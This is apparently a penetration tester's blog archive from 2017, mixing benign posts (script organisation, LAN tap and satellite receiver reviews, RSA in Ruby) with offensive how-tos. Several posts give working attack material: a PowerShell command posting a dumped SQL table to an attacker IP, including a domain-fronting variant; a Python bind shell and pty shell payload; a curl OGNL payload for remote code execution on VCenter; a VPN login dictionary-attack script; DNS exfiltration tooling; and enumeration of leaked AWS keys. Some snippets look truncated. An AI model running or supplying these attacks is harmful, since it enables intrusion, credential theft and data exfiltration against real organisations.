Wednesday, November 29, 2017

Exfiltrating SQL data from Windows

Let's say you get a winexe or wmiexec shell to a SQL server. Maybe you want to extract the top 10 rows of some juicy looking table. Maybe you need to exfil it to your HTTP server and are yolo'ing it. The following may help you:

Output the top 10 records of a SQL table using osql:
osql -E -Q "use DATABASEHERE; select top 10 * from ZOMGSEXYTABLE" -o C:\windows\temp\LOLDATA.txt

Post the file to a URL using powershell:
powershell -noprofile Invoke-RestMethod -Uri http://PUT.MY.IP.HERE -Method Post -InFile C:\windows\temp\LOLDATA.txt -ContentType "multipart/form-data"

Set up a an HTTP server to receive the file, or just ncat -l it.

Oh, want to use domain fronting? use this powershell line instead:
powershell -noprofile Invoke-RestMethod -Uri http://FRONTABLE.DOMAIN.HERE -Headers @{Host='MY.CLOUDFRONTDOMAINHERE'} -Method Post -InFile C:\windows\temp\LOLDATA.txt -ContentType "multipart/form-data"

Thursday, September 21, 2017

Using OpenCV for Redteams ("Rotate! Enhance!")

Often times when you are moving from office to office in the middle of the night trying to find credentials or sensitive data, your best option is to take a photo with your phone. It's handy, it's nearby, and it's often good enough.

Unfortunately, sometimes your nervousness and anxiety in the moment causes your hands to shake. Resulting in a blurry photo of potentially very important information.

For example, this photo:

You can make out some of the content here but the important part, the passwords and usernames isn't exactly legible.

Is this unusable? did you just mess up big time? did you just cost the success of your red team because of a shaky hand? maybe not.

OpenCV has an example python script called "". All you need to do is supply the name of your file to the script and it will open two windows, one of the original, and one of the deconvoluted version:

$ python2.7 --angle 180 --d 20 ~/IMG_4696.JPG.jpeg

On the deconvolution window, there are draggable scales at the bottom. Adjusting the angle, distance, and SNR allow you to clean up the photo somewhat. After about 5 minutes of playing with the controls, this was the best result I could get. It's good enough to get the username and most of the password:

You can tell that the first username is "Sally" and the password is "ZOMGSuperl33tPassw0rd!". The second username is "lolwut" and the second password doesnt come out that well in this static image.

HOWEVER, I found that quickly dragging the scales back and forth seem to trick your mind into blending edges together in a way in which you can figure out what the letters actually are. Do this enough and you can discover the password is "WhyDoesSallyHaveAccess?".

Thursday, June 29, 2017

An Efficient Setup For Scripts/Git

I'm obsessed by organization. I'm pretty sure I was OCD in another life. It carries over to this life in small ways.

As a pentester, I have to deal with many different custom scripts I write, my coworkers write, that I get off Github. Remembering where scripts/tools are when you may only ever touch something very rarely can become very annoying to manage. I've come up with a system that works very well for me. Perhaps it will work for you as well.


  • My overall projects folder that contains both git repos as well as temporary project ideas that may turn into something later. Contains many different directories that are project or task focused. 
  • For example, ~/projects/python-code/ is where I store my one-off Python code snippets to experiment and remind myself of concepts.
  • This is also where I store project directories that don't have corresponding git repos. Zips, tars, etc from directly downloaded servers.


  • If it has a repo, this is where it's cloned. Whether it's personal git repo or other's repo, any and all git repos go here. This makes it easier to remember what I got from where, and run a quick git pull.
  • This is also where I initialize any repo I plan on adding to my github account


  • These are almost all one-off scripts used for various tasks, or to glue some disparate tools together.
  • For example, it contains scripts that parse output from one tool and pass it to another. Nothing groundbreaking here, just saves time typing.
  • Most importantly, this directory is added to my path so every script/symlink can easily be accessed at the command line.
  • This is where I symlink all my git tools so I don't have to supply full paths to reach them


  • Yes, it's a temp folder off my home directory, I know how weird that sounds.
  • It's specifically for files I need very temporarily but I don't want to lose them if my machine crashes. It's mostly used for debugging/troublshooting scripts or testing shell functionality.
  • I go through it about once a month and remove anything I can't remember.
This setup has served me very well. I'd say the biggest paradigm shift for myself was to get in the habit of symlinking certain git tools and project scripts in the ~/scripts directory which is in my path; the integration of repo -> my machine is seamless.

     If someone writes a shitty script that breaks if you call it from another directory then I just write a quick one-line script to call it instead of a simple symlink. Still, fairly seamless.

Bonus Tip:
     I also can't stress enough the benefits of backing up everything to a drive and then wiping out your box and starting from scratch. Yes it's annoying to reinstall so many applications, but things run smoother with fewer errors because many superfluous packages/configs are gone. You won't lose any files since you can just browse them from your backup drive.

Tuesday, June 20, 2017

Attacking Complex Web Application Login Forms

Requests, Mechanize, and other HTTP clients or web scrapers are wonderful for automating a variety of tasks against web servers. Many times, if you want to brute force a login against some web app you can just use tools like those or Burp Intruder or whatever else strikes your fancy.

But sometimes, you run across a web app that does some ungodly Javascript hashing/mangling/demonic incantations to your input. When you see these situations, you need to have a tool parse, understand, and even execute the Javascript from your page.

I have found PhantomJS to be a fantastic tool to help with that. I use it as my "browser" for Selenium scripts and it works the same way, but this is all headless, no need for Firefox or Chrome windows to pop up and start clicking things. It all happens in the background transparently.

I recently came across a Checkpoint SSL VPN that I wanted to try a dictionary attack against. I wrote the following temporary script to accomplish it. It's not speedy, but then again that introduces a pseudo-sleep timer I was going to put in anyway.

I pasted the login combinations in the logins dict and ran it.

#!/usr/bin/env python3

from selenium import webdriver
from selenium.webdriver.common.keys import Keys

logins = {'user1':'pass1', 'user2':'pass2'}

for username, password in logins.items():
 driver = webdriver.PhantomJS()
 driver.set_window_size(1024, 768)
 usernamefield = driver.find_element_by_name('userName')
 passwordfield = driver.find_element_by_name('loginInput')
 errormsg = driver.find_element_by_id('ErrorMsg').text
 print(username + ':' + password + ' = ' + errormsg)

It turns out that phantomjs will return a completely empty page without any sort of error if it encounters an invalid SSL certificate. You can easily account for this by changing:
 driver = webdriver.PhantomJS()
driver = webdriver.PhantomJS(service_args=['--ignore-ssl-errors=true'])

Listing SOAP Services In Python

If you found a WSDL, you could of course just read the XML and figure out what it's doing, or you can use the Python module zeep to do it for you:

$ python -mzeep


Global elements:
     ns0:NumberToDollars(dNum: xsd:decimal)
     ns0:NumberToDollarsResponse(NumberToDollarsResult: xsd:string)
     ns0:NumberToWords(ubiNum: xsd:unsignedLong)
     ns0:NumberToWordsResponse(NumberToWordsResult: xsd:string)

Global types:

     Soap11Binding: {}NumberConversionSoapBinding
     Soap12Binding: {}NumberConversionSoapBinding12

Service: NumberConversion
     Port: NumberConversionSoap (Soap11Binding: {}NumberConversionSoapBinding)
            NumberToDollars(dNum: xsd:decimal) -> NumberToDollarsResult: xsd:string
            NumberToWords(ubiNum: xsd:unsignedLong) -> NumberToWordsResult: xsd:string

     Port: NumberConversionSoap12 (Soap12Binding: {}NumberConversionSoapBinding12)
            NumberToDollars(dNum: xsd:decimal) -> NumberToDollarsResult: xsd:string
            NumberToWords(ubiNum: xsd:unsignedLong) -> NumberToWordsResult: xsd:string

Zeep seems to be the best SOAP client for Python. It's written on top of python Requests, it's well documented, and works on both Python 2 & 3.

Friday, June 16, 2017

Smallest Python Bind Shell

    As a followup to my previous post about making the smallest python reverse bind shell, A coworker ran into a situation where outbound connections were not allowed. So I decided to change the code to be a bind shell instead of a reverse-connect shell.

    This version simply sits and listens on the specified port for input, and then executes whatever text it receives as python code. Just like with the reverse-bind shell, I'm sure this would more accurately be classified as a stager since the meat of the code is actually sent when you connect to the socket, as you'll see later.

If you're able to execute Python code on the target machine and have limited space for injections (SQL/limited command injection/whatever) this 105 character tweet-able bind shell may work for you:

import socket as a
s = a.socket()
(r,z) = s.accept()

Once this is executed on the victim machine, you then connect to it with netcat/ncat.

$ ncat localhost 2425 -v
Ncat: Version 7.40 ( )
Ncat: Connected to

Then paste in the following line. Once it's pasted in, don't hit enter like you'd expect, hit CTRL-D so your terminal sends the EOF signal. Once you hit CTRL-D it will pop a shell for you to have fun with.

import pty,os;os.dup2(r.fileno(),0);os.dup2(r.fileno(),1);os.dup2(r.fileno(),2);pty.spawn("/bin/bash");s.close()

And boom, shell:

$ ncat localhost 2425 -v
Ncat: Version 7.40 ( )
Ncat: Connected to
import pty,os;os.dup2(r.fileno(),0);os.dup2(r.fileno(),1);os.dup2(r.fileno(),2);pty.spawn("/bin/bash");s.close()

[09:41:21][victim]@[victimhost:~]$ pwd

PS. The bind shell code is saying to bind to port 2425, which is just to make it not require root privileges. If you don't have root, you won't be able to bind it to any port less than 1024.

PPS. As with the reverse shell, I simply haven't found anything smaller. I'm sure there is some Python wizardry to make it smaller, but this is good enough for most purposes.

     I was reminded that IPs can be shortened mathematically and it does in fact work with the socket library. I changed the above bind line to '127.1' since it is equivalent to and shorter than 'localhost'. This brings the overall size from 109 characters to 105. Granted that won't matter when yo put in your own server for an actual attack but whatever. IT STILL COUNTS.

Wednesday, June 14, 2017

SSL Cert Bundle (Root Certificate Authorities)

Certain tools/scripts require you to specify a Root CA bundle for them to compare SSL certificates against. Below are a couple paths containing downloadable files containing root certificate information:

Curl's Bundle (based off Mozilla, easy to integrate):

Mozilla's Cert text file:

Chrome uses the underlying certificate store that is already on the machine


This github project tracks certificates from different vendors:

Friday, June 2, 2017

A better LAN tap

I had a project recently where I needed to see the traffic between two hosts and ettercap ARP spoofing was not reliable. I decided to grab my Throwing Star LAN tap that I got at Defcon a couple years ago. Finally, I thought, a reason to use it.

I plugged it in, started the devices I was sniffing, and started up wireshark. Wait a second. Something is off here. Why am I only seeing traffic in one direction? *googles it* Seriously? each port on this Throwing Star can only see a single direction at a time? yeesh

It says so very clearly on the website, and its completely my fault for not reading and understanding its functionality earlier. Bad me.

If you want to see both directions, you need to plug in both sides at the same time. Which wouldn't be that bad except for the fact that you need to pcap twice, and there is no easy and obvious way of stitching the traffic back together. You're left with two files that you have to manually go through to understand what the devices are doing.

On top of this, most laptops released these days don't have an ethernet jack. So now you have to resort to two separate USB-Ethernet adapters and a USB hub. Again, much less than ideal. I'm sure the Throwing Star LAN tap would be fine in a pinch, but as a regular testing device, I would not recommend it.

After some research and personal testing, there is a brand of LAN taps that I do recommend. The ones from SharkTap.

There is the cheaper one:

And the one I decided to get:

I decided to purchase it for a number of reasons:

  • Gigabit capability
  • PoE passthrough
  • Can function as USB-Ethernet adapter
  • Both USB and RJ45 connections for taps
  • Powered over USB
  • See both sides of the traffic
I only have two complaints. The first is that you have to install a driver if you are on a Mac (windows/linux works out of the box). This was not a big deal since it was very quick and easy. My second gripe is that the device itself is twice as long as the Throwing Star (but smaller if you factor in the other pieces you need for this to work)

Despite these two gripes, I definitely feel that the pros outweigh the cons massively.

I have personally tested the gigabit one and can confirm it lives up to its claims. Go forth, and pwn.

Friday, April 14, 2017

Exploiting the VMware VCenter RCE (CVE-2017-5638)

I got lucky enough to be able to test this exploit code on an active engagement so I thought I'd share my PoC:

1. Find a box that has VCenter running (just grep through nmap results for vcenter)
2. Run the following curl command (assuming it's on port 443):

curl -v -k https://VICTIMIPHERE/statsreport/ -H "Content-Type: $(cat <<"EOF"
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net user').(#iswin=(@java.lang.System@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(,#ros)).(#ros.flush())}
3. The response body should be the output of the command

You can modify the "(#cmd='net user')" portion of the payload to be other commands including things like adding a new local admin. Or possibly running Powershell (haven't verified yet)

Wednesday, March 22, 2017

A Review of Outernet's Satellite Reciever

I recently came across mention of the Outernet project. They market themselves as a simple, low cost, receive only packet radio receiver. It seemed like an interesting enough project and at $99 for a preprogrammed board/all the hardware I'd need I figured why not.


Setting it up was relatively simple, just hook up the CHIP, battery, LNA, and panel antenna as we were good to go. After about a couple minutes of the board starting up you'll see an open Wifi network called "Outernet". Connect in, visit "" and enter "outernet:outernet" for the login (case matters on the username).

The Interface

You'll then be presented with the main interface. Click the circle in the upper left corner to get a listing of the "apps" installed. It's pretty spartan, but then again that's what the project is. Click on the "Tuner" app, it should look like this:

In the drop down box on the Satellite tab, make sure the proper satellite/location is chosen, otherwise you simply won't ever get a lock. Once you chose the proper satellite, and double checked to make sure everything is hooked up properly, you can start pointing the panel at the satellite. I used the satellite tracking site to help me roughly aim the panel. It doesn't have to be exact. I used the "SNR" value on the Status tab to help me aim. Once I got a consistent reading above 3.0dB I knew it would be sufficient. Cloudy days give me about 5-7 and clear ones give me 7-10dB. If you are around 1-2dB or less, something is wrong.
I ended up mounting my panel to an old tripod so I wouldn't have to hold it. Not pretty or rugged, but works for the time being:
I also configured the board settings to connect to my home network as a client versus setting up its own hotspot. You can do this using the "Network" app from the interface.

So everything is set up, now I have data downloading. That was fun. Probably not $99 fun, but I got some new hardware out of it and I got to say I did something with satellites. Personally, it was just barely worth the $99.

While the kit is received only, Outernet does allow people to submit files to be included (up to 10KB, and moderated) in the transmission.

Accurate Expectations:

If you are interested in getting an Outernet setup, please make sure you have the proper expectations. Here is what you get practically from buying and setting one up yourself:

  • Text only daily news from several sources
  • 2-day old fancy weather data that looks really pretty
  • APRS messages (mostly useless)
  • Offline text-only Wikipedia
This is not a replacement for the Internet, no matter what ignorant media people tell you, this is really not a replacement for anything at all. The only possible use case I can really think of is for someone in the middle of nowhere wanting some news/Wikipedia articles to read. The Outernet project is definitely not solving any average person's problems.

It DOES however provide the following:
  • CHIP board, Low Noise Amplifier, Panel Antenna, Battery pack, and aluminum cased RTLSDR
  • Decent first introduction to microwave satellites
  • A distraction
  • A cute idea
Would I buy this again? Not likely
Would I recommend this? Meh

Thursday, February 23, 2017

Enumerate Leaked AWS API Key Access

Sometimes on a pentest engagement (or from you'll come across some AWS API keys. If you want to know what those keys have access to, I've decided to make a script that runs through various AWS services API endpoints to list access to them. You can do this using the awscli tool but I find it less than ideal to deal with and the JSON you have to parse can be annoying.

So I decided to write a tool since I couldn't find one online. This tool is pretty simple, it simply takes in an access key and secret key often used in configurations and connect scripts. It then goes one by one to each service and queries useful information such as Dynamo DB table names, S3 bucket names and how many objects are in each one.

So for example, let's say during your recon/OSINT phase you discover some AWS API creds exposed on gitleaks or some config file. (The screenshot obviously isn't a client, just a random entry in gitleaks)

You take the "Access Key" and "Secret Key" and pump them into the AWSEnumerator script:
Checking for S3 buckets
  Total # of buckets: 9
    Bucket: bucket1 [8 objects]
    Bucket: bucket2 [1000 objects]
    Bucket: bucket3-dev [1000 objects]
    Bucket: bucket4 [1 objects]
    Bucket: bucket5 [747 objects]
    Bucket: otherbucket [1000 objects]
    Bucket: morebucket [54 objects]
    Bucket: whereismahbucket [26 objects]
    Bucket: ilikefish [95 objects]
Checking for EC2 Instances
  Total # of EC2 Instances: 2
    Instance: t2.nano - 52.570.576.548 - running
    Instance: t2.small - stopped
Checking for Lightsail Instances
  Total # of Lightsail instances: 1
    Name: enumtest1, Username: ubuntu, IP:, State: running
Checking for DynamoDB Tables
  Total # of DynamoDB Tables: 2
    Table Name: tabletest
    Table Name: test2
This information is fantastic for both reporting purposes as well as possibly escalating access or obtaining sensitive information.

Currently, the script supports:
  - EC2 Instances (type, IP, status)
  - S3 Buckets (name, number of objects)
  - Lightsail Instances (name, username, IP, state)
  - DynamoDB (table name)

I am planning on adding support for additional services as time goes on.

The tool can be found at

Friday, February 3, 2017

Super Simple DNS Exfiltration

I needed to test if I got command execution on a target box. Pretty much every outbound port was blocked. Luckily, it's extremely rare for people to turn off outbound UDP port 53 so DNS queries can still make it through.

In order for you to get a basic DNS exfil setup to work you'll need a couple things:
  1. A VPS to sniff the DNS queries
  2. A domain to direct the DNS queries to
The first step is to configure an NS record for a subdomain of your main domain. I simply created an NS record for e.domain.tld (replace domain.tld with your domain) and pointed it to the IP address of VPS.

Now when someone requests somedata.e.domain.tld the UDP request packet will go to the VPS IP. Run tshark/tcpdump to grab the request and prove if you have command execution or not.

I partially wrote the following python script to just parse out the domain name being requested.

#!/usr/bin/env python2

from scapy.all import *
from scapy.layers.dns import DNSRR, DNS, DNSQR

def handlepkt(p):
  #thanks stackoverflow!
  if p.haslayer(DNS):
      if p.qdcount > 0 and isinstance(p.qd, DNSQR):
          name = p.qd.qname
      elif p.ancount > 0 and isinstance(, DNSRR):
          name =
      print name

sniff(iface=eth0, filter="udp and port 53", store=0,  prn=handlepkt)

Since your DNS settings are configured properly, just start the python sniffer and run something like

for i in *; do host $i.e.domain.tld; done

And watch the requests come in.

Friday, January 6, 2017

How to Encrypt/Decrypt Using An RSA Keypair In Ruby

Simple process:
require 'openssl'

#Import your private/public keypair into separate objects to play with
priv ='test1.priv'))
pub =''))

#Use your public key to encrypt some data
#Here, 3 means use no padding (I needed it for some testing)
#Here I used 56bit keys and no padding which is why my input plaintext must be 56bits (7 characters)
#If you want the default of PKCS#1 padding, just remove the '3' argument
crypted = pub.public_encrypt("123456\n", 3)

#Now decrypt using your private key object (must supply same padding as before, or leave off for default)
decrypted = priv.private_decrypt(crypted,3)

Above I created the .priv and .pub using the following openssl commands:

#I chose 56 bits for testing, if used in reality it should be much higher like 2048
openssl genrsa -out test1.priv 56

#Using your private key, create a public key
openssl rsa -in test1.priv -out -outform PEM -pubout